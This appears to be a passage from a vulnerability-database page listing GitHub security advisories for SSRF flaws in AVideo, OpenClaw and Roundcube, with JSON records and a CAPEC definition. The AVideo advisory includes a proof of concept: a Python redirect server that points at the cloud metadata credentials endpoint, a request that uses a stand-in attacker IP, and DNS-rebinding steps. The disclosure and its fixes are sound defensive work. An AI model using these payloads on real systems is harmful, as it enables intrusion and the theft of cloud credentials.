  4. Submit http://rebind.attacker.com/image.jpg to any affected endpoint
  5. isSSRFSafeURL() resolves → public IP → passes (discards $resolvedIP)
  6. url_get_contents() / file_get_contents() resolves again → 127.0.0.1 → SSRF achieved

Impact

An authenticated attacker can force the AVideo server to make HTTP requests to arbitrary internal hosts, including: - Cloud metadata endpoints (169.254.169.254) — exfiltrate IAM credentials, instance identity - Internal services on localhost or private network (databases, admin panels, monitoring) - Port scanning of the internal network using the server as a proxy

The exfiltrated data is stored as video thumbnails/images, making it retrievable through the application's public interface.

Suggested Fix

Fix 1 (Redirect bypass — immediate): Route both affected files through url_get_contents() which already handles redirects safely, or add explicit no-redirect context:

$ctx = stream_context_create(['http' => ['follow_location' => 0]]);
$imageContent = file_get_contents($imageUrl, false, $ctx);

Fix 2 (DNS rebinding — defense-in-depth): Update all callers to capture $resolvedIP and pass it to a DNS-pinning-aware fetch function using CURLOPT_RESOLVE.

Credit

Kai Aizen kai.aizen.dev@gmail.com

Severity
7.7 (High)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "wwbn/avideo"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "29.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-43884"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-05T22:16:33Z",
    "nvd_published_at": "2026-05-11T22:22:13Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n\nTwo endpoints in AVideo call `isSSRFSafeURL()` to validate user-supplied URLs, then fetch them using bare `file_get_contents()` **without disabling PHP\u0027s automatic redirect following**. An attacker can supply a URL pointing to a server they control that returns a 302 redirect to an internal/cloud-metadata address (e.g., `http://169.254.169.254/latest/meta-data/`). Since `isSSRFSafeURL()` only validates the *initial* URL, the redirect target bypasses all SSRF protections.\n\nA secondary finding is that 6+ callers of `isSSRFSafeURL()` discard the `$resolvedIP` out-parameter meant for DNS pinning, leaving them vulnerable to DNS rebinding TOCTOU attacks.\n\n**Severity:** High \u2014 CVSS 3.1: 7.7 (AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N)\n\n### Details\n\n#### Finding 1: Redirect-Based SSRF Bypass\n\n**Vulnerable code \u2014 `plugin/AI/receiveAsync.json.php` (line ~162\u2013165):**\n\n```php\n// SSRF Protection: Validate URL before fetching\nif (!isSSRFSafeURL($imageUrl)) {\n    // blocked\n} else {\n    $imageContent = file_get_contents($imageUrl);  // \u2190 FOLLOWS REDIRECTS!\n}\n```\n\n**Vulnerable code \u2014 `objects/EpgParser.php` (line ~358\u2013362):**\n\n```php\nif (!isSSRFSafeURL($this-\u003eurl)) {\n    throw new \\RuntimeException(\u0027URL blocked by SSRF protection\u0027);\n}\n$this-\u003econtent = @file_get_contents($this-\u003eurl);  // \u2190 FOLLOWS REDIRECTS!\n```\n\n**Safe code for comparison \u2014 `objects/functions.php`, `url_get_contents()`:**\n\n```php\n$opts = [\u0027http\u0027 =\u003e [\u0027follow_location\u0027 =\u003e 0]];  // Disable auto-redirect\n$context = stream_context_create($opts);\nfor ($redirectCount = 0; $redirectCount \u003c= 5; $redirectCount++) {\n    $fetched = file_get_contents($currentUrl, false, $context);\n    // ... parse Location header ...\n    if ($redirectTarget) {\n        if (!isSSRFSafeURL($redirectTarget)) {  // Re-validates EACH hop\n            return false;\n        }\n        $currentUrl = $redirectTarget;\n        continue;\n    }\n    $tmp = $fetched;\n    break;\n}\n```\n\n**Root cause:** The SSRF redirect protection (`follow_location=0` + manual redirect loop with per-hop `isSSRFSafeURL()` re-validation) was correctly implemented in `url_get_contents()` but NOT propagated to these two endpoints that call `file_get_contents()` directly. PHP\u0027s default `follow_location` is `1` (follow redirects).\n\n#### Finding 2: DNS Rebinding TOCTOU (Multiple Callers)\n\n`isSSRFSafeURL()` provides a `$resolvedIP` out-parameter for DNS pinning via `CURLOPT_RESOLVE`. Only 1 of 9 callers (`plugin/LiveLinks/proxy.php`) uses it. The remaining 8 callers discard it and pass the original hostname to the fetching function, which resolves DNS independently \u2014 creating a TOCTOU race window exploitable via DNS rebinding (TTL=0).\n\n**Affected callers (no DNS pinning):**\n- `objects/aVideoEncoderReceiveImage.json.php` \u2014 4 call sites\n- `objects/aVideoEncoder.json.php` \u2014 1 call site\n- `plugin/BulkEmbed/save.json.php` \u2014 1 call site\n- `plugin/AI/receiveAsync.json.php` \u2014 1 call site\n- `objects/EpgParser.php` \u2014 1 call site\n- `plugin/Scheduler/Scheduler.php` \u2014 1 call site\n\n### PoC\n\n#### Redirect Bypass PoC\n\n1. Attacker runs an HTTP server that returns a 302 redirect:\n\n```python\nfrom http.server import HTTPServer, BaseHTTPRequestHandler\n\nclass RedirectHandler(BaseHTTPRequestHandler):\n    def do_GET(self):\n        self.send_response(302)\n        self.send_header(\"Location\", \"http://169.254.169.254/latest/meta-data/iam/security-credentials/\")\n        self.end_headers()\n\nHTTPServer((\"0.0.0.0\", 8888), RedirectHandler).serve_forever()\n```\n\n2. Attacker triggers AI image generation and intercepts the callback:\n\n```\nPOST /plugin/AI/receiveAsync.json.php\nContent-Type: application/x-www-form-urlencoded\n\ntype=image\u0026token=VALID_TOKEN\u0026ai_responses_id=ID\u0026response[data][0][url]=http://ATTACKER_IP:8888/redir\n```\n\n3. `isSSRFSafeURL(\"http://ATTACKER_IP:8888/redir\")` resolves attacker IP \u2192 public \u2192 **passes**\n4. `file_get_contents(\"http://ATTACKER_IP:8888/redir\")` follows 302 to `http://169.254.169.254/...` \u2014 **no SSRF re-check occurs**\n5. Cloud metadata (including IAM credentials) is saved as a video thumbnail, retrievable by the attacker\n\n**Control test:** Replace the redirect target with a legitimate public URL \u2014 `isSSRFSafeURL()` passes and the content is fetched normally, confirming the function works for non-malicious URLs.\n\n#### DNS Rebinding PoC\n\n1. Configure a domain with TTL=0 DNS that alternates:\n   - First query: public IP (passes `isSSRFSafeURL`)\n   - Second query: `127.0.0.1` (reaches internal services)\n2. Submit `http://rebind.attacker.com/image.jpg` to any affected endpoint\n3. `isSSRFSafeURL()` resolves \u2192 public IP \u2192 passes (discards `$resolvedIP`)\n4. `url_get_contents()` / `file_get_contents()` resolves again \u2192 `127.0.0.1` \u2192 SSRF achieved\n\n### Impact\n\nAn authenticated attacker can force the AVideo server to make HTTP requests to arbitrary internal hosts, including:\n- **Cloud metadata endpoints** (169.254.169.254) \u2014 exfiltrate IAM credentials, instance identity\n- **Internal services** on localhost or private network (databases, admin panels, monitoring)\n- **Port scanning** of the internal network using the server as a proxy\n\nThe exfiltrated data is stored as video thumbnails/images, making it retrievable through the application\u0027s public interface.\n\n### Suggested Fix\n\n**Fix 1 (Redirect bypass \u2014 immediate):** Route both affected files through `url_get_contents()` which already handles redirects safely, or add explicit no-redirect context:\n```php\n$ctx = stream_context_create([\u0027http\u0027 =\u003e [\u0027follow_location\u0027 =\u003e 0]]);\n$imageContent = file_get_contents($imageUrl, false, $ctx);\n```\n\n**Fix 2 (DNS rebinding \u2014 defense-in-depth):** Update all callers to capture `$resolvedIP` and pass it to a DNS-pinning-aware fetch function using `CURLOPT_RESOLVE`.\n\n### Credit\n\nKai Aizen \u003ckai.aizen.dev@gmail.com\u003e",
  "id": "GHSA-2hch-c97c-g99x",
  "modified": "2026-05-13T14:21:00Z",
  "published": "2026-05-05T22:16:33Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-2hch-c97c-g99x"
    },
    {
      "type": "WEB",
      "url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-2hch-c97c-g99xg"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-43884"
    },
    {
      "type": "WEB",
      "url": "https://github.com/WWBN/AVideo/commit/603e7bf77a835584387327e35560262feb075db3"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/WWBN/AVideo"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "AVideo has SSRF Protection Bypass via HTTP Redirect and DNS Rebinding in isSSRFSafeURL()"
}

GHSA-2HFG-4FH4-QP7F

Vulnerability from github – Published: 2026-07-02 16:00 – Updated: 2026-07-02 16:00
VLAI
Summary
OpenClaw's browser act interactions could bypass private-network navigation checks
Details

Summary

OpenClaw's browser control SSRF checks blocked direct navigation to private or loopback URLs, but some Playwright act interactions could trigger navigation after the initial check. A later browser evaluation could then read from the page reached by that action-triggered navigation.

This issue is specific to browser control actions and private-network navigation policy. Browser evaluation remains an intentional trusted-operator feature when it is used on pages that policy allowed the browser to visit.

Affected configurations

This affects deployments where browser control is enabled and an authenticated browser-control caller can interact with an attacker-controlled page that redirects or navigates the tab to a private-network target through a UI action.

Impact

If the browser reached a private page through an unchecked action-triggered navigation, a caller with browser evaluation capability could read page content that direct navigation policy would have blocked.

The issue does not grant access to OpenClaw without authentication. It bypasses the private-network navigation guard for a specific browser action path.

Patched Versions

The first stable patched version is 2026.5.18.

Mitigations

Upgrade to openclaw@2026.5.18 or later. Before upgrading, restrict browser-control access to trusted operators and avoid using browser control on untrusted pages in environments with sensitive private web services.

Severity
7.7 (High)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N
4.9 (Medium)
CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:N/VI:N/VA:N/SC:H/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "openclaw"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2026.5.18"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-53812"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-284",
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-02T16:00:03Z",
    "nvd_published_at": "2026-06-11T21:16:23Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\n\nOpenClaw\u0027s browser control SSRF checks blocked direct navigation to private or loopback URLs, but some Playwright `act` interactions could trigger navigation after the initial check. A later browser evaluation could then read from the page reached by that action-triggered navigation.\n\nThis issue is specific to browser control actions and private-network navigation policy. Browser evaluation remains an intentional trusted-operator feature when it is used on pages that policy allowed the browser to visit.\n\n### Affected configurations\n\nThis affects deployments where browser control is enabled and an authenticated browser-control caller can interact with an attacker-controlled page that redirects or navigates the tab to a private-network target through a UI action.\n\n### Impact\n\nIf the browser reached a private page through an unchecked action-triggered navigation, a caller with browser evaluation capability could read page content that direct navigation policy would have blocked.\n\nThe issue does not grant access to OpenClaw without authentication. It bypasses the private-network navigation guard for a specific browser action path.\n\n### Patched Versions\n\nThe first stable patched version is `2026.5.18`.\n\n### Mitigations\n\nUpgrade to `openclaw@2026.5.18` or later. Before upgrading, restrict browser-control access to trusted operators and avoid using browser control on untrusted pages in environments with sensitive private web services.",
  "id": "GHSA-2hfg-4fh4-qp7f",
  "modified": "2026-07-02T16:00:03Z",
  "published": "2026-07-02T16:00:03Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/openclaw/openclaw/security/advisories/GHSA-2hfg-4fh4-qp7f"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-53812"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/openclaw/openclaw"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/openclaw-private-network-navigation-bypass-via-browser-act-interactions"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:N/VI:N/VA:N/SC:H/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "OpenClaw\u0027s browser act interactions could bypass private-network navigation checks"
}

GHSA-2HH7-C75G-QJ2R

Vulnerability from github – Published: 2026-05-04 20:21 – Updated: 2026-05-12 13:36
VLAI
Summary
OpenClaw validates Zalo outbound photo URLs through the SSRF guard
Details

Summary

Zalo outbound photo URLs are validated through the SSRF guard.

Affected Packages / Versions

  • Package: openclaw (npm)
  • Affected versions: <= 2026.4.21
  • Fixed version: 2026.4.22

Impact

The Zalo plugin could forward an attacker-controlled outbound photo URL to the Zalo Bot API without first applying OpenClaw's SSRF validation policy.

Fix

Zalo sendPhoto now parses and validates outbound photo URLs with the shared SSRF hostname policy before posting to Zalo, and media-reply paths route through the guarded outbound media helpers.

Fix Commit(s)

  • a65eb1b864b7630c1242a82de9e5799b80583c3f

Verification

  • The fix commit is contained in the public v2026.4.22 tag.
  • openclaw@2026.4.22 is published on npm and the compiled package contains the fix.
  • Focused regression coverage for this path passed before publication.

OpenClaw thanks @foodlook for reporting.

Severity
8.6 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
6.9 (Medium)
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:H/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2026.4.21"
      },
      "package": {
        "ecosystem": "npm",
        "name": "openclaw"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2026.4.22"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-44116"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-04T20:21:11Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "## Summary\nZalo outbound photo URLs are validated through the SSRF guard.\n\n## Affected Packages / Versions\n- Package: openclaw (npm)\n- Affected versions: \u003c= 2026.4.21\n- Fixed version: 2026.4.22\n\n## Impact\nThe Zalo plugin could forward an attacker-controlled outbound photo URL to the Zalo Bot API without first applying OpenClaw\u0027s SSRF validation policy.\n\n## Fix\nZalo sendPhoto now parses and validates outbound photo URLs with the shared SSRF hostname policy before posting to Zalo, and media-reply paths route through the guarded outbound media helpers.\n\n## Fix Commit(s)\n- a65eb1b864b7630c1242a82de9e5799b80583c3f\n\n## Verification\n- The fix commit is contained in the public v2026.4.22 tag.\n- openclaw@2026.4.22 is published on npm and the compiled package contains the fix.\n- Focused regression coverage for this path passed before publication.\n\nOpenClaw thanks @foodlook for reporting.",
  "id": "GHSA-2hh7-c75g-qj2r",
  "modified": "2026-05-12T13:36:52Z",
  "published": "2026-05-04T20:21:11Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/openclaw/openclaw/security/advisories/GHSA-2hh7-c75g-qj2r"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44116"
    },
    {
      "type": "WEB",
      "url": "https://github.com/openclaw/openclaw/commit/a65eb1b864b7630c1242a82de9e5799b80583c3f"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/openclaw/openclaw"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/openclaw-server-side-request-forgery-in-zalo-photo-url-validation"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:H/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "OpenClaw validates Zalo outbound photo URLs through the SSRF guard"
}

GHSA-2HWW-8583-W9WF

Vulnerability from github – Published: 2026-05-26 13:30 – Updated: 2026-05-26 13:30
VLAI
Details

Roundcube Webmail 1.6.x between 1.6.14 and 1.6.16,and 1.7.x before 1.7.1 has Insufficient Cascading Style Sheets (CSS) sanitization in HTML e-mail messages may lead to SSRF or Information Disclosure, e.g., if stylesheet links point to local network hosts. The issue stems from an insufficient fix for CVE-2026-35540.

Severity
7.2 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-48843"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-05-25T20:16:36Z",
    "severity": "HIGH"
  },
  "details": "Roundcube Webmail 1.6.x between 1.6.14 and 1.6.16,and 1.7.x before 1.7.1 has Insufficient Cascading Style Sheets (CSS) sanitization in HTML e-mail messages may lead to SSRF or Information Disclosure, e.g., if stylesheet links point to local network hosts. The issue stems from an insufficient fix for CVE-2026-35540.",
  "id": "GHSA-2hww-8583-w9wf",
  "modified": "2026-05-26T13:30:49Z",
  "published": "2026-05-26T13:30:49Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-48843"
    },
    {
      "type": "WEB",
      "url": "https://github.com/roundcube/roundcubemail/commit/ab96c88bfd888866ec5e02190b19618db283923a"
    },
    {
      "type": "WEB",
      "url": "https://github.com/roundcube/roundcubemail/commit/cb3fc9041e91640ba9ba49ee7b2147c176ebf5a1"
    },
    {
      "type": "WEB",
      "url": "https://github.com/roundcube/roundcubemail/releases/tag/1.6.16"
    },
    {
      "type": "WEB",
      "url": "https://github.com/roundcube/roundcubemail/releases/tag/1.7.1"
    },
    {
      "type": "WEB",
      "url": "https://roundcube.net/news/2026/05/24/security-updates-1.6.16-and-1.7.1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

No mitigation information available for this CWE.

CAPEC-664: Server Side Request Forgery

An adversary exploits improper input validation by submitting maliciously crafted input to a target application running on a server, with the goal of forcing the server to make a request either to itself, to web services running in the server’s internal network, or to external third parties. If successful, the adversary’s request will be made with the server’s privilege level, bypassing its authentication controls. This ultimately allows the adversary to access sensitive data, execute commands on the server’s network, and make external requests with the stolen identity of the server. Server Side Request Forgery attacks differ from Cross Site Request Forgery attacks in that they target the server itself, whereas CSRF attacks exploit an insecure user authentication mechanism to perform unauthorized actions on the user's behalf.

← Back to the CWE list